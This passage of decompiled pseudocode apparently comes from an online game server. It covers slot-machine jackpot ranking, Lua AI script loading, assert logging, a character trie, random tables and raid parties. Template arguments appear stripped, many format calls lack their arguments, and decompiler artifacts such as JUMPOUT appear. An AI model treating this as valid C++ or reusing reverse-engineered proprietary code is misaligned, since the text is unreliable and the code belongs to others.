SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo v9; // [sp-14h] [bp-38h]@8 int v10; // [sp-Ch] [bp-30h]@8 int v11; // [sp-8h] [bp-2Ch]@8 void *v12; // [sp-4h] [bp-28h]@2 FunctionEntarance _; // [sp+10h] [bp-14h]@1 SlotMachine::SlotMachineJackPotRanking::SlotMachineInfo *v14; // [sp+14h] [bp-10h]@8 int v15; // [sp+20h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "SlotMachine::SlotMachineAnalyse::smjpr_RankingReq"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlotMachine::SlotMachineAnalyse::smjpr_RankingReq"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlotMachine::SlotMachineAnalyse::smjpr_RankingReq"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->smjpr_IsReq == 0; v15 = 0; if ( v2 ) { v1->smjpr_IsReq = 1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -17195; v3[2] = 0; do { *(&v3[2 * (unsigned __int8)v3[2] + 3] + (unsigned __int8)v3[2]) = v3[2]; *(_WORD *)(&v3[2 * (unsigned __int8)v3[2] + 4] + (unsigned __int8)v3[2]) = SlotMachine::SlotMachineScreenManager::smsm_BettingAtOnce( &g_SlotMachineScreenManager, (GBSMBetType)(unsigned __int8)v3[2]); v4 = v3[2] + 1; v3[2] = v4; } while ( (unsigned __int8)v4 < 3u ); v5 = 3 * ((unsigned __int8)v4 + 1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, v5) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "SlotMachine::SlotMachineJackPotRanking::smjpr_RankingReq : Packet Too Long", v5); } v14 = &v9; v10 = 0; v11 = 0; v12 = 0; std::vector>::resize( &v1->smjpr_InfoArr, 3u, v9); v7 = 0; do { v1->smjpr_InfoArr._Myfirst[v7].JackPotPrice = 0; v8 = v1->smjpr_InfoArr._Myfirst; if ( v8[v7].JackPotRank._Myfirst ) { v12 = v8[v7].JackPotRank._Myfirst; operator delete(v12); } v8[v7].JackPotRank._Myfirst = 0; v8[v7].JackPotRank._Mylast = 0; v8[v7].JackPotRank._Myend = 0; ++v7; } while ( v7 < 3 ); v15 = -1; v12 = "SlotMachine::SlotMachineAnalyse::smjpr_RankingReq"; } else { v15 = -1; v12 = "SlotMachine::SlotMachineAnalyse::smjpr_RankingReq"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v12); } //----- (005D7DD0) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator>_0>>::_Erase(std::_Tree,std::allocator >,0> > *this, std::_Tree_nod,std::allocator >,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator >,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator >,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator>_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (005D7E10) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::erase(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where) { std::_Tree,std::allocator >,0> > *v3; // ebp@1 std::_Tree,std::allocator >,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator >,0> >::iterator v5; // edi@5 std::_Tree,std::allocator >,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator >,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator >,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator >,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator >,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator >,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator >,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator >,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 21) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator>_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 21) ) { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v10 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator>_1>>::_Min(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator >,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 21) ) v11->_Right = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator>_1>>::_Max(*(std::_Tree_nod,std::allocator >,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 21) ) { v5 = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator >,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator >,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 20); *(_BYTE *)(*(_DWORD *)&v6 + 20) = *(_BYTE *)(*(_DWORD *)&v4 + 20); *(_BYTE *)(*(_DWORD *)&v4 + 20) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 20) == 1 ) { if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 20) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; std::_Tree_std::allocator>_1>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 20) ) { *(_BYTE *)(v15 + 20) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 20) = 0; std::_Tree_std::allocator>_1>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 21) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 20) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 20) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 20) = 1; *(_BYTE *)(v15 + 20) = 0; std::_Tree_std::allocator>_1>>::_Lrotate( v3, (std::_Tree_nod,std::allocator >,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 20) = *(_BYTE *)(*(_DWORD *)&v7 + 20); *(_BYTE *)(*(_DWORD *)&v7 + 20) = 1; *(_BYTE *)(*(_DWORD *)v15 + 20) = 1; std::_Tree_std::allocator>_1>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 20) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator >,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 20) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (005D80D0) -------------------------------------------------------- int std::_Tree_std::allocator>_0>>::erase(...) { std::_Tree,std::allocator >,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator >,0> >::iterator v5; // esi@1 std::_Tree,std::allocator >,0> > *v6; // edi@1 std::_Tree_nod,std::allocator >,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator >,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator >,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator >,0> >::iterator j; // eax@7 std::_Tree,std::allocator >,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator >,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 21) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 21) ) { for ( i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 21); i = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator >,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator >,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 21); j = (std::_Tree,std::allocator >,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator>_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator>_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (005D8190) -------------------------------------------------------- void __thiscall AIScriptContainer::aisc_Load(AIScriptContainer *this) { unsigned __int16 v1; // di@2 char *v2; // ST10_4@2 _iobuf *v3; // eax@2 void *v4; // eax@3 LuaScriptScenario *v5; // eax@4 LuaScriptScenario *v6; // esi@4 int pnt; // [sp+8h] [bp-130h]@1 std::_Tree,std::allocator >,0> > *thisa; // [sp+Ch] [bp-12Ch]@1 std::pair _Val; // [sp+10h] [bp-128h]@10 std::pair,std::allocator >,0> >::iterator,bool> result; // [sp+18h] [bp-120h]@3 char buffer[256]; // [sp+20h] [bp-118h]@2 unsigned int v12; // [sp+124h] [bp-14h]@1 int v13; // [sp+134h] [bp-4h]@3 int v14; // [sp+138h] [bp+0h]@1 v12 = (unsigned int)&v14 ^ __security_cookie; thisa = (std::_Tree,std::allocator >,0> > *)this; MobDataBox::mdb_iter_home((GatherProduce::RecipeBook *)&mobdatabox, &pnt); do { v1 = MobDataBox::mdb_iter_Get(&mobdatabox, (unsigned int *)&pnt); v2 = MobDataBox::operator__(&mobdatabox, v1)->data->InxName; sprintf(buffer, "../9Data/Hero/LuaScript/AIScript/%s.lua"); v3 = fopen(buffer, "r"); if ( v3 ) { fclose(v3); v4 = operator new(8u); *(_DWORD *)&result.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; v13 = 0; if ( v4 ) { LuaScriptScenario::LuaScriptScenario((LuaScriptScenario *)v4); v6 = v5; } else { v6 = 0; } v13 = -1; if ( !LuaScript::ls_FromFile(&v6->baseclass_0, buffer) ) { AssertClass::ac_AssertFail(&shineassert, "AIScriptContainer::aisc_Load : AIScript load error", buffer); if ( v6 ) { LuaScriptScenario::_LuaScriptScenario(v6); operator delete(v6); } ShineExit("AIScriptContainer::aisc_Load"); } _Val.first = v1; _Val.second = v6; std::_Tree_std::allocator>_0>>::insert( thisa, &result, &_Val); } } while ( MobDataBox::mdb_iter_next(&mobdatabox, (unsigned int *)&pnt) ); } //----- (005D8300) -------------------------------------------------------- void __thiscall AIScriptContainer::_AIScriptContainer(AIScriptContainer *this) { AIScriptContainer *v1; // esi@1 std::_Tree,std::allocator >,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator >,0> >::iterator)this; v1 = this; std::_Tree_std::allocator>_0>>::erase( &this->baseclass_0.baseclass_0, &result, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator >,0> >::iterator)this->baseclass_0.baseclass_0._Myhead); operator delete(v1->baseclass_0.baseclass_0._Myhead); v1->baseclass_0.baseclass_0._Myhead = 0; v1->baseclass_0.baseclass_0._Mysize = 0; } //----- (005D8340) -------------------------------------------------------- void __thiscall AssertClass::ac_DateTime(AssertClass *this) { AssertClass *v1; // edi@1 time_t timevar; // [sp+0h] [bp-4h]@1 timevar = (time_t)this; v1 = this; time(&timevar); localtime(&timevar); sprintf(v1->ac_Date, "%04d%02d%02d"); sprintf(v1->ac_Time, "%02d:%02d:%02d"); sprintf(v1->ac_FileName, "Assert%s%02d.txt"); } //----- (005D83C0) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, const char *flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%s]\n"); fclose(v5); } } } //----- (005D8410) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag) { AssertClass *v3; // esi@1 _iobuf *v4; // eax@2 _iobuf *v5; // edi@2 v3 = this; AssertClass::ac_DateTime(this); if ( v3->ac_Write2File ) { v4 = fopen(v3->ac_FileName, "a"); v5 = v4; if ( v4 ) { fprintf(v4, "%s : AssertClass::ac_AssertFail : %s[%d]\n"); fclose(v5); } } } //----- (005D8460) -------------------------------------------------------- void __thiscall AssertClass::ac_AssertFail(AssertClass *this, const char *message, int flag1, int flag2) { AssertClass *v4; // esi@1 _iobuf *v5; // edi@2 v4 = this; AssertClass::ac_DateTime(this); if ( v4->ac_Write2File ) { v5 = fopen(v4->ac_FileName, "a"); if ( v5 ) { fprintf(v5, "%s : AssertClass::ac_AssertFail : %s[%d/%d]\n"); fclose(v5); } } } //----- (005D84C0) -------------------------------------------------------- void __cdecl ShineExit(char *where) { _iobuf *v1; // eax@1 _iobuf *v2; // esi@1 time_t timevar; // [sp+8h] [bp-188h]@1 char curdate[128]; // [sp+Ch] [bp-184h]@1 char filename[128]; // [sp+8Ch] [bp-104h]@1 char curtime[128]; // [sp+10Ch] [bp-84h]@1 unsigned int v7; // [sp+18Ch] [bp-4h]@1 v7 = (unsigned int)&timevar ^ __security_cookie; time(&timevar); localtime(&timevar); sprintf(curdate, "%04d%02d%02d"); sprintf(curtime, "%02d:%02d:%02d"); sprintf(filename, "ExitLog%s%02d.txt"); v1 = fopen(filename, "a"); v2 = v1; if ( v1 ) { fprintf(v1, "%s : AssertClass::ac_AssertFail : %s\n"); fclose(v2); } exit(0); } //----- (005D85A0) -------------------------------------------------------- void __thiscall BTree::BTree(BTree *this) { this->bt_id = -1; memset(this->bt_subtree, 0, sizeof(this->bt_subtree)); } //----- (005D85C0) -------------------------------------------------------- void __thiscall BTree::_BTree(BTree *this) { BTree **v1; // edi@1 signed int v2; // ebx@1 void *v3; // esi@2 v1 = this->bt_subtree; v2 = 256; do { v3 = *v1; if ( *v1 ) { BTree::_BTree(*v1); operator delete(v3); } ++v1; --v2; } while ( v2 ); } //----- (005D85F0) -------------------------------------------------------- int __thiscall BTree::bt_Insert(BTree *this, const char *string, unsigned int id) { const char *v3; // esi@1 const char v4; // al@1 BTree *v5; // ebx@1 BTree *v6; // eax@2 void *v7; // eax@3 void *v8; // edx@3 int result; // eax@8 v3 = string; v4 = *string; v5 = this; if ( *string ) { while ( 1 ) { v6 = v5->bt_subtree[(unsigned __int8)v4]; if ( !v6 ) { v7 = operator new(0x404u); v8 = v7; if ( v7 ) { *(_DWORD *)v7 = -1; memset((char *)v7 + 4, 0, 0x400u); } else { v8 = 0; } v5->bt_subtree[(unsigned __int8)*v3] = (BTree *)v8; v6 = v5->bt_subtree[(unsigned __int8)*v3]; if ( !v6 ) break; } ++v3; v5 = v6; v4 = *v3; if ( !*v3 ) goto LABEL_8; } result = 0; } else { LABEL_8: v5->bt_id = id; result = 1; } return result; } //----- (005D8670) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { const char *v2; // edx@1 const char v3; // al@1 BTree *v4; // eax@2 unsigned int result; // eax@4 v2 = string; v3 = *string; if ( *string ) { while ( 1 ) { v4 = this->bt_subtree[(unsigned __int8)v3]; if ( !v4 ) break; ++v2; this = v4; v3 = *v2; if ( !*v2 ) goto LABEL_4; } result = -1; } else { LABEL_4: result = this->bt_id; } return result; } //----- (005D86B0) -------------------------------------------------------- unsigned int __thiscall BTree::operator__(BTree *this, const char *string) { unsigned int result; // eax@2 BTree *v3; // ecx@3 if ( *string ) { v3 = this->bt_subtree[(unsigned __int8)*string]; if ( v3 ) result = BTree::operator__(v3, string + 1); else result = -1; } else { result = this->bt_id; } return result; } //----- (005D86E0) -------------------------------------------------------- int __thiscall RandomBox::rb_largerandom(RandomBox *this, int rnd) { int v2; // eax@1 signed int i; // esi@1 v2 = rnd; for ( i = 1; v2 > 100; i *= 2 ) v2 /= 2; return i * RandomBox::operator__(&rndbox, v2); } //----- (005D8720) -------------------------------------------------------- void __thiscall RandomSlot::RandomSlot(RandomSlot *this) { this->rs_point.mask = 16383; this->rs_point.value = 0; } //----- (005D8740) -------------------------------------------------------- void __thiscall RandomSlot::rs_Init(RandomSlot *this, int limit) { RandomSlot *v2; // esi@1 signed int v3; // ecx@1 signed int v4; // edi@1 signed int v5; // edi@3 unsigned __int64 v6; // qax@4 unsigned __int16 v7; // cx@5 signed int v8; // eax@7 v2 = this; v3 = 0; v4 = 0; do { v2->rs_slot[v3++] = v4 / 16384; v4 += limit; } while ( v3 < 16384 ); v5 = 0; do { v6 = (unsigned __int64)((double)rand() * 0.500015259254738); if ( (signed int)v6 < 16384 ) { v7 = v2->rs_slot[v5]; v2->rs_slot[v5] = v2->rs_slot[v6]; v2->rs_slot[v6] = v7; } ++v5; } while ( v5 < 16384 ); v8 = 0; do { if ( v2->rs_slot[v8] >= limit ) v2->rs_slot[v8] = 0; ++v8; } while ( v8 < 16384 ); } //----- (005D87D0) -------------------------------------------------------- void __thiscall RandomBox::RandomBox(RandomBox *this) { RandomBox *v1; // edi@1 RandomSlot *v2; // ebp@1 signed int v3; // esi@1 int v4; // eax@1 RandomSlot *v5; // ebx@1 signed int v6; // esi@3 time_t tmstr; // [sp+14h] [bp-10h]@1 int v8; // [sp+20h] [bp-4h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x8008u, 101, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = v1->rb_thausend; v3 = 0; v8 = 0; _eh_vector_constructor_iterator_( v1->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))RandomSlot::RandomSlot, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v4 = time(&tmstr); srand(v4); v5 = (RandomSlot *)v1; do { RandomSlot::rs_Init(v5, v3++); ++v5; } while ( v3 < 101 ); v6 = 4; do { RandomSlot::rs_Init(v2, 1000); ++v2; --v6; } while ( v6 ); } //----- (005D8890) -------------------------------------------------------- void __thiscall RandomBox::_RandomBox(RandomBox *this) { void *v1; // esi@1 v1 = this; _eh_vector_destructor_iterator_( this->rb_thausend, 0x8008u, 4, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); _eh_vector_destructor_iterator_( v1, 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (005D8900) -------------------------------------------------------- void __thiscall Raid::_Raid(Raid *this) { this->vfptr = (RaidVtbl *)&Raid::_vftable_; } // 685B70: using guessed type int (__thiscall *Raid___vftable_)(void *p, char); //----- (005D8910) -------------------------------------------------------- bool __thiscall Raid::DelSubLeader(Raid *this, const unsigned int TargetMember, unsigned __int16 *rErrorType) { unsigned int v3; // eax@1 char *v4; // edx@1 v3 = 0; v4 = (char *)this->m_SubLeader; while ( *(_DWORD *)v4 != TargetMember ) { ++v3; v4 += 4; if ( v3 >= 8 ) { *rErrorType = 7946; return 0; } } this->m_SubLeader[v3] = -1; return 1; } //----- (005D8950) -------------------------------------------------------- bool __thiscall Raid::_PartyLeaveCheckResult(Raid *this, int hr, unsigned __int16 *rErrorType) { bool result; // al@2 switch ( hr ) { case 0: case 1: result = 1; break; case 2: *rErrorType = 8012; result = 0; break; case 3: *rErrorType = 8013; result = 0; break; case 4: *rErrorType = 8014; result = 0; break; default: *rErrorType = 8002; result = 0; break; } return result; } //----- (005D89C0) -------------------------------------------------------- char __thiscall Raid::GetNumOfMember(Raid *this) { return this->m_NumOfMember; } //----- (005D89D0) -------------------------------------------------------- unsigned int __thiscall Raid::GetLooter(Raid *this) { return CLooting::GetLooter(&this->m_Looting); } //----- (005D89E0) -------------------------------------------------------- CLooting *__thiscall Raid::GetLooting(Raid *this) { return &this->m_Looting; } //----- (005D89F0) -------------------------------------------------------- Raid::iterator *__thiscall Raid::iterator::operator__(Raid::iterator *this) { Raid::iterator *result; // eax@1 int v2; // ecx@1 int v3; // edx@2 bool v4; // sf@2 result = this; v2 = this->m_nPartyIndex; if ( v2 < 8 ) { v3 = result->m_nSlot + 1; v4 = result->m_nSlot - 4 < 0; result->m_nSlot = v3; if ( !(v4 ^ __OFSUB__(v3, 5)) ) { result->m_nSlot = 0; result->m_nPartyIndex = v2 + 1; } } return result; } //----- (005D8A20) -------------------------------------------------------- bool __thiscall Raid::iterator::operator__(Raid::iterator *this, Raid::iterator *iter) { bool result; // al@2 if ( this->m_pRaid ) { JUMPOUT( this->m_pRaid, iter->m_pRaid, Concurrency::_Order_node_base::reserve_message); JUMPOUT( this->m_nPartyIndex, iter->m_nPartyIndex, Concurrency::_Order_node_base::reserve_message); JUMPOUT( this->m_nSlot, iter->m_nSlot, Concurrency::_Order_node_base::reserve_message); result = 1; } else { result = 0; } return result; } // 5D8A48: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (005D8A50) -------------------------------------------------------- unsigned __int16 __thiscall Raid::iterator::GetPartyRegNo(Raid::iterator *this) { int v1; // eax@1 unsigned __int16 result; // ax@3 v1 = this->m_nPartyIndex; if ( v1 >= 8 || v1 < 0 ) result = -1; else result = this->m_pRaid->m_PartyNos[v1]; return result; } //----- (005D8A70) -------------------------------------------------------- void __thiscall Raid::Raid(Raid *this) { Raid *v1; // esi@1 CLooting *v2; // edi@1 v1 = this; v2 = &this->m_Looting; this->vfptr = (RaidVtbl *)&Raid::_vftable_; CLooting::CLooting(&this->m_Looting); v1->m_Raidnum = -1; v1->m_NumOfMember = 0; *(_DWORD *)&v1->m_PartyNos[0] = -1; *(_DWORD *)&v1->m_PartyNos[2] = -1; *(_DWORD *)&v1->m_PartyNos[4] = -1; *(_DWORD *)&v1->m_PartyNos[6] = -1; v1->m_Leader = -1; v1->m_SubLeader[0] = -1; v1->m_SubLeader[1] = -1; v1->m_SubLeader[2] = -1; v1->m_SubLeader[3] = -1; v1->m_SubLeader[4] = -1; v1->m_SubLeader[5] = -1; v1->m_SubLeader[6] = -1; v1->m_SubLeader[7] = -1; CLooting::reset(v2); } // 685B70: using guessed type int (__thiscall *Raid___vftable_)(void *p, char); //----- (005D8AD0) -------------------------------------------------------- void *__thiscall Raid::_vector_deleting_destructor_(Raid *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (RaidVtbl *)&Raid::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 685B70: using guessed type int (__thiscall *Raid___vftable_)(void *p, char); //----- (005D8AF0) -------------------------------------------------------- Raid::iterator *__thiscall Raid::Begin(Raid *this, Raid::iterator *result) { Raid::iterator *v2; // eax@1 v2 = result; result->m_pRaid = this; result->m_nPartyIndex = 0; result->m_nSlot = 0; return v2; } //----- (005D8B10) -------------------------------------------------------- Raid::iterator *__thiscall Raid::End(Raid *this, Raid::iterator *result) { Raid::iterator *v2; // eax@1 v2 = result; result->m_pRaid = this; result->m_nPartyIndex = 8; result->m_nSlot = 0; return v2; } //----- (005D8B30) -------------------------------------------------------- bool __thiscall Raid::InitRaid(Raid *this, unsigned __int16 val, const unsigned __int16 *pPartyNos, unsigned __int16 *rErrorType) { Raid *v4; // esi@1 bool result; // al@2 CParty::PARTY_SLOT *v6; // edi@5 signed int v7; // edi@5 int v8; // ebp@5 CParty::PARTY_SLOT *v9; // eax@6 CLooting *vala; // [sp+8h] [bp+4h]@5 v4 = this; if ( RaidSystem::sm_pPartyData ) { if ( this->m_Raidnum == -1 ) { v6 = CParty::operator__(RaidSystem::sm_pPartyData, *pPartyNos); v4->m_Raidnum = val; v4->m_NumOfMember = v6->NumOfMember; v4->m_Leader = v6->Members[0].MemberInform.Member.chrregnum; vala = &v4->m_Looting; CLooting::reset(&v4->m_Looting); CLooting::SetLooter(&v4->m_Looting, v4->m_Leader); v6->isRaidTypeParty = 1; v7 = 0; 